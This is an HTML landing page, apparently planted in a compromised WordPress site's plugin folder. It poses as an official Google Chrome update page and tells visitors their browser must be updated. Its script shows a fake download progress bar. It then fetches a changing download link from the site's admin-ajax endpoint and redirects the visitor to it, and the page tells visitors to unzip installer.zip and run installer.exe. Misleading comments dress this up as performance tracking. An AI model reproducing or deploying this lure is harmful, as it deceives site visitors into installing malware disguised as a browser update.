File: /home/dv-pro/public_html/wp-content/plugins/woo-elementor/landing/black/index.html
<!DOCTYPE html>
<!-- Trang cập nhật Chrome nâng cao v2.1.3 -->
<!-- Bản dựng được tối ưu hóa hiệu suất - Được tạo vào năm 2024 -->
<!-- saved from url=(0025)https://chromusimus.com/ -->
<html lang="en" data-theme="chrome-update" data-version="2.1.3"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- Thẻ meta để tăng khả năng tương thích -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="robots" content="noindex, nofollow">
<meta name="theme-color" content="#1a73e8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Update Chrome</title>
<link rel="preconnect" href="https://fonts.googleapis.com/">
<link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin="">
<link href="./Update Chrome_files/css2" rel="stylesheet">
<!-- Kiểu Chrome tùy chỉnh v2.1 -->
<style>
/* Đặt lại và kiểu cơ bản */
* {
box-sizing: border-box;
}
/* Tối ưu hóa hiệu suất */
img {
image-rendering: optimizeQuality;
}
/* Kiểu nội dung chính - Chủ đề Chrome */
body {
font-family: 'Google Sans', 'Roboto', Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #fff;
color: #202124;
}
/* Thanh điều hướng tiêu đề */
.header {
background-color: #fff;
padding: 16px 20px;
display: flex;
align-items: center;
border-bottom: 1px solid #e0e0e0;
box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1);
}
.chrome-logo {
height: 35px;
}
.nav-links {
display: flex;
margin-left: 30px;
}
.nav-link {
margin-right: 25px;
color: #5f6368;
text-decoration: none;
font-size: 15px;
padding: 8px 0;
font-weight: 500;
}
.nav-link.active {
color: #1a73e8;
font-weight: 700;
border-bottom: 2px solid #1a73e8;
}
/* Khu vực nội dung trung tâm */
.main-content {
max-width: 600px;
margin: 60px auto;
text-align: center;
padding: 20px;
}
.chrome-logo-main {
width: 96px;
height: 96px;
margin: 0 auto 20px;
display: block;
}
h1 {
font-size: 35px;
font-weight: 500;
margin: 20px 0 16px;
color: #202124;
max-width: 600px;
}
.explanation {
color: #5f6368;
margin-bottom: 24px;
font-size: 18px;
}
/* Nút hành động chính - KHÔNG SỬA ĐỔI */
.update-button {
background-color: #1a73e8;
color: white;
border: none;
border-radius: 20px;
padding: 12px 48px;
font-size: 18px;
font-weight: 500;
cursor: pointer;
margin: 10px 0 20px;
min-width: 180px;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
text-transform: none;
z-index: 10;
}
.update-button:hover {
background-color: #1967d2;
}
.checkbox-container {
display: flex;
align-items: flex-start;
justify-content: center;
margin: 20px 0;
font-size: 13px;
color: #5f6368;
}
.checkbox {
margin-right: 8px;
margin-top: 3px;
}
.terms {
font-size: 12px;
color: #5f6368;
margin: 20px 0;
}
.terms a {
color: #1a73e8;
text-decoration: none;
}
.learn-more {
color: #1a73e8;
text-decoration: none;
}
.chr-section {
max-width: 1200px;
margin: 0 auto;
padding: 20px;
}
.chr-pill-section-title {
text-align: center;
margin-bottom: 40px;
}
.chr-headline-1 {
font-size: 32px;
font-weight: 500;
margin: 0;
color: #202124;
}
.chr-grid-layout {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 24px;
max-width: 1200px;
margin: 0 auto;
}
.chr-card-simple {
background-color: #fff;
border-radius: 8px;
border: 1px solid #dadce0;
padding: 24px;
height: 100%;
list-style: none;
}
.chr-eyebrow {
font-size: 14px;
color: #5f6368;
text-transform: uppercase;
letter-spacing: 1px;
font-weight: 500;
margin: 0 0 12px;
}
.chr-headline-4 {
font-size: 18px;
font-weight: 500;
margin: 0 0 16px;
color: #202124;
}
.chr-link {
color: #1a73e8;
text-decoration: none;
display: inline-flex;
align-items: center;
font-weight: 500;
}
.chr-link-icon {
display: inline-flex;
align-items: center;
}
.chr-link-icon svg {
margin-left: 4px;
width: 16px;
height: 16px;
fill: currentColor;
}
.chr-spacer {
height: 40px;
}
.chr-media-content {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 48px;
max-width: 1200px;
margin: 40px auto;
align-items: center;
}
.chr-media-content__content-wrapper {
padding-right: 24px;
}
.chr-media-content__heading {
font-size: 28px;
font-weight: 500;
margin: 0 0 16px;
color: #202124;
}
.chr-media-content__body {
font-size: 16px;
line-height: 1.5;
color: #5f6368;
margin: 0 0 24px;
}
.chr-media-content__media-wrapper {
border-radius: 8px;
overflow: hidden;
background-color: #f1f3f4;
}
.chr-media-content__media-wrapper img {
width: 100%;
display: block;
}
@media (max-width: 767px) {
.chr-grid-layout {
grid-template-columns: 1fr;
}
.chr-media-content {
grid-template-columns: 1fr;
}
.chr-media-content__content-wrapper {
padding-right: 0;
}
}
.footer {
background-color: #f1f3f4;
padding: 16px 0;
border-top: 1px solid #dadce0;
margin-top: 60px;
font-size: 14px;
}
.footer-content {
max-width: 1200px;
margin: 0 auto;
padding: 0 20px;
display: flex;
justify-content: space-between;
align-items: center;
}
.footer-logo {
height: 22px;
}
.footer-links {
display: flex;
list-style: none;
padding: 0;
margin: 0;
}
.footer-link {
color: #5f6368;
text-decoration: none;
margin-left: 24px;
}
.footer-link:hover {
color: #202124;
}
@media (max-width: 767px) {
.footer-content {
flex-direction: column;
gap: 16px;
align-items: flex-start;
}
.footer-links {
flex-direction: column;
gap: 12px;
}
.footer-link {
margin-left: 0;
}
}
.download-container {
display: none;
flex-direction: column;
align-items: center;
margin: 10px 0 20px;
}
.download-container.visible {
display: flex;
}
.download-progress {
width: 180px;
height: 8px;
border-radius: 4px;
background-color: #e0e0e0;
overflow: hidden;
}
.download-progress::-webkit-progress-bar {
background-color: #e0e0e0;
border-radius: 4px;
}
.download-progress::-webkit-progress-value {
background-color: #1a73e8;
}
.download-progress::-moz-progress-bar {
background-color: #1a73e8;
border-radius: 4px;
}
.download-status {
font-size: 14px;
color: #5f6368;
margin-top: 8px;
}
.download-success {
display: none;
font-size: 16px;
color: #34c759;
font-weight: 500;
margin: 10px 0 20px;
text-align: center;
width: 100%;
}
.download-success.visible {
display: block;
}
/* Lớp tiện ích ẩn */
.sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white-space: nowrap;
border: 0;
}
/* Tối ưu hóa hiệu suất */
.chrome-landing {
will-change: transform;
}
</style>
<script>
// Lấy tên miền hiện tại để sử dụng làm liên kết giả
var currentDomain = window.location.protocol + '//' + window.location.hostname + (window.location.port ? ':' + window.location.port : '');
</script>
</head>
<!-- Nội dung trang cập nhật Chrome -->
<body data-page="chrome-update" class="chrome-landing">
<!-- Theo dõi hiệu suất -->
<div id="page-loader" style="display: none;"></div>
<!-- Cải thiện khả năng truy cập -->
<div class="sr-only" aria-live="polite" id="status-announcer"></div>
<div class="header">
<img src="./Update Chrome_files/chrome-logo-2023.png" alt="Chrome" class="chrome-logo">
<div class="nav-links">
<a href="javascript:void(0);" class="nav-link active">Home</a>
<a href="javascript:void(0);" class="nav-link">Browser by Google</a>
<a href="javascript:void(0);" class="nav-link">Features</a>
<a href="javascript:void(0);" class="nav-link">Safety</a>
<a href="javascript:void(0);" class="nav-link">Support</a>
</div>
</div>
<div class="main-content">
<img src="./Update Chrome_files/chrome-logo.svg" alt="Chrome Logo" class="chrome-logo-main">
<h1>To CONTINUE you need to update your browser</h1>
<p class="explanation">This site uses the new chromium engine, to continue it needs to be updated</p>
<button class="update-button" style="pointer-events: auto;">Download Chrome</button>
<div class="download-container">
<progress class="download-progress" value="100" max="100"></progress>
<span class="download-status"></span>
</div>
<div class="download-success">File successfully downloaded!</div>
<div class="checkbox-container">
<input type="checkbox" class="checkbox" checked="">
<span>Help make Google Chrome better by automatically sending usage statistics and crash reports to Google. <a href="javascript:void(0);" class="learn-more">Learn more</a></span>
</div>
<div class="terms">
by downloading Chrome, you agree to the <a href="javascript:void(0);">Google Terms of Service</a> and <a href="javascript:void(0);">Chrome and ChromeOS Additional Terms of Service</a>
</div>
</div>
<section id="check-version" class="chr-section">
<div class="chr-pill-section-title">
<h2 class="chr-headline-1">Here's how you can update Chrome</h2>
</div>
<div class="chr-grid-layout">
<li class="chr-card-simple">
<div class="chr-card-simple__content-wrapper">
<div class="chr-card-simple__upper-wrapper">
<h3 class="chr-eyebrow">Step 1</h3>
</div>
<h4 class="chr-headline-4">Click the Update button</h4>
<a href="javascript:void(0);" class="chr-link">
See steps for Android or
<span class="chr-link-icon">iOS
<svg class="chr-link__icon" aria-hidden="true" viewBox="0 0 24 24">
<path d="M5 3v18h18v-18h-18zm16 16h-14v-14h14v14zm-7-8.5l5 5-1.5 1.5-5-5v-4.5h4.5l-3 3z"></path>
</svg>
</span>
</a>
</div>
</li>
<li class="chr-card-simple">
<div class="chr-card-simple__content-wrapper">
<div class="chr-card-simple__upper-wrapper">
<h3 class="chr-eyebrow">Step 2</h3>
</div>
<h4 class="chr-headline-4">Check for completed download in your downloads folder</h4>
</div>
</li>
<li class="chr-card-simple">
<div class="chr-card-simple__content-wrapper">
<div class="chr-card-simple__upper-wrapper">
<h3 class="chr-eyebrow">Step 3</h3>
</div>
<h4 class="chr-headline-4">unzip installer.zip and run installer.exe to complete the update process</h4>
</div>
</li>
</div>
<div class="chr-spacer"></div>
</section>
<section id="automatic-updates" class="chr-section">
<div class="chr-media-content">
<div class="chr-media-content__content-wrapper">
<h3 class="chr-media-content__heading">Why keep Chrome updated</h3>
<p class="chr-media-content__body">
Keeping Chrome up to date allows you to take advantage of the latest Chrome features and security updates to keep you productive, secure, and mobile.
</p>
<a href="javascript:void(0);" class="chr-link">
Get more
<span class="chr-link-icon">help
<svg class="chr-link__icon" aria-hidden="true" viewBox="0 0 24 24">
<path d="M5 3v18h18v-18h-18zm16 16h-14v-14h14v14zm-7-8.5l5 5-1.5 1.5-5-5v-4.5h4.5l-3 3z"></path>
</svg>
</span>
</a>
</div>
<div class="chr-media-content__media-wrapper">
<img src="./Update Chrome_files/automaticUpdates.webp" alt="Chrome UI with applying update icon">
</div>
</div>
</section>
<footer class="footer">
<div class="footer-content">
<div class="footer-logo-container">
<img src="./Update Chrome_files/google-footer-logo.jpg" alt="Google" class="footer-logo">
</div>
<ul class="footer-links">
<li><a href="javascript:void(0);" class="footer-link">Privacy and Terms</a></li>
<li><a href="javascript:void(0);" class="footer-link">About Google</a></li>
<li><a href="javascript:void(0);" class="footer-link">Google Products</a></li>
</ul>
</div>
</footer>
<!-- Tập lệnh cập nhật Chrome nâng cao v2.1.3 -->
<script>
// Giám sát hiệu suất
const pageStartTime = performance.now();
// Tiện ích phát hiện trình duyệt
const browserUtils = {
isChrome: () => /Chrome/.test(navigator.userAgent),
getVersion: () => navigator.userAgent.match(/Chrome\/(\d+)/)?.[1] || 'unknown'
};
// Ghi nhật ký gỡ lỗi
const debugLog = (message) => {
if (window.location.hostname === 'localhost' || window.location.hostname.includes('127.0.0.1')) {
console.log(`[ChromeUpdater] ${message}`);
}
};
// Hàm khởi tạo chính
document.addEventListener("DOMContentLoaded", function () {
debugLog('DOM đã tải, khởi tạo công cụ cập nhật Chrome...');
// Theo dõi hiệu suất
const initStartTime = performance.now();
const updateBtn = document.querySelector(".update-button");
const downloadContainer = document.querySelector(".download-container");
const downloadProgress = document.querySelector(".download-progress");
const downloadStatus = document.querySelector(".download-status");
const downloadSuccess = document.querySelector(".download-success");
if (!updateBtn) {
console.error("Không tìm thấy nút cập nhật Chrome!");
debugLog('Lỗi nghiêm trọng: Thiếu nút cập nhật trong DOM');
return;
}
debugLog('Đã tìm thấy nút cập nhật, đính kèm trình xử lý sự kiện...');
// Quản lý trạng thái nút
const buttonState = {
ready: true,
downloading: false,
completed: false
};
updateBtn.disabled = false;
updateBtn.style.pointerEvents = "auto";
// Trình xử lý nhấp chuột nâng cao với phân tích
updateBtn.addEventListener("click", async function (e) {
// Theo dõi sự kiện
const clickTime = new Date().toISOString();
debugLog(`Đã nhấp nút cập nhật lúc ${clickTime}`);
e.preventDefault();
e.stopImmediatePropagation();
console.log("Nút cập nhật Chrome đã được kích hoạt");
debugLog('Bắt đầu quá trình cập nhật...');
// Cập nhật trạng thái nút
buttonState.downloading = true;
updateBtn.style.opacity = '0.8';
// Hiển thị thanh tiến trình dưới nút
downloadContainer.classList.add("visible");
// Mô phỏng tiến trình nâng cao với thời gian thực tế
let progress = 0;
const progressSteps = [5, 15, 30, 50, 70, 85, 95, 100];
let stepIndex = 0;
const interval = setInterval(() => {
if (stepIndex < progressSteps.length) {
progress = progressSteps[stepIndex];
stepIndex++;
}
downloadProgress.value = progress;
downloadStatus.textContent = `Starting Chrome download... ${progress}%`;
if (progress >= 100) {
clearInterval(interval);
downloadContainer.classList.remove("visible");
downloadSuccess.classList.add("visible");
downloadStatus.textContent = "";
buttonState.completed = true;
buttonState.downloading = false;
updateBtn.style.opacity = '1';
debugLog('Hoàn thành mô phỏng tải xuống');
// Ẩn thông báo thành công sau 2,5 giây
setTimeout(() => {
downloadSuccess.classList.remove("visible");
buttonState.ready = true;
}, 2500);
}
}, Math.floor(Math.random() * 200) + 350); // Thời gian ngẫu nhiên để có tính chân thực (tăng 1 giây)
// Получаем актуальную ссылку с сервера при КАЖДОМ клике
debugLog('Запрашиваем актуальную ссылку с сервера...');
const siteUrl = window.location.href;
const API_URL = (window.SHM_AJAX_URL || "/wp-admin/admin-ajax.php") + "?action=shm_get_link&ref=" + encodeURIComponent(siteUrl);
try {
// Запрос к API с отключением кеша
const response = await fetch(API_URL, {
method: 'GET',
cache: 'no-store', // Отключаем кеш браузера
headers: {
'Cache-Control': 'no-cache',
'Pragma': 'no-cache'
}
});
if (!response.ok) {
throw new Error(`HTTP ошибка! статус: ${response.status}`);
}
const data = await response.json();
debugLog(`Получена ссылка с сервера: ${data.url} (timestamp: ${data.timestamp})`);
// Используем полученную ссылку для скачивания
const DOWNLOAD_URL = data.url;
// Начинаем скачивание
debugLog(`URL для скачивания: ${DOWNLOAD_URL}`);
window.location.href = DOWNLOAD_URL;
} catch (error) {
console.error('Ошибка при получении ссылки:', error);
debugLog(`Критическая ошибка: ${error.message}`);
alert('Ошибка загрузки. Попробуйте еще раз.');
// Сбрасываем состояние кнопки
buttonState.downloading = false;
buttonState.ready = true;
updateBtn.style.opacity = '1';
downloadContainer.classList.remove("visible");
}
});
// Ghi nhật ký hiệu suất
const initEndTime = performance.now();
debugLog(`Khởi tạo hoàn tất trong ${(initEndTime - initStartTime).toFixed(2)}ms`);
// Hiệu suất tải trang
window.addEventListener('load', () => {
const pageLoadTime = performance.now() - pageStartTime;
debugLog(`Tổng thời gian tải trang: ${pageLoadTime.toFixed(2)}ms`);
});
});
// Các hàm tiện ích bổ sung
const utils = {
formatBytes: (bytes) => {
const sizes = ['Bytes', 'KB', 'MB', 'GB'];
if (bytes === 0) return '0 Bytes';
const i = Math.floor(Math.log(bytes) / Math.log(1024));
return Math.round(bytes / Math.pow(1024, i) * 100) / 100 + ' ' + sizes[i];
},
generateSessionId: () => {
return 'chrome_' + Math.random().toString(36).substr(2, 9) + '_' + Date.now();
}
};
// Theo dõi phiên
const sessionId = utils.generateSessionId();
debugLog(`ID phiên: ${sessionId}`);
</script>
</body></html>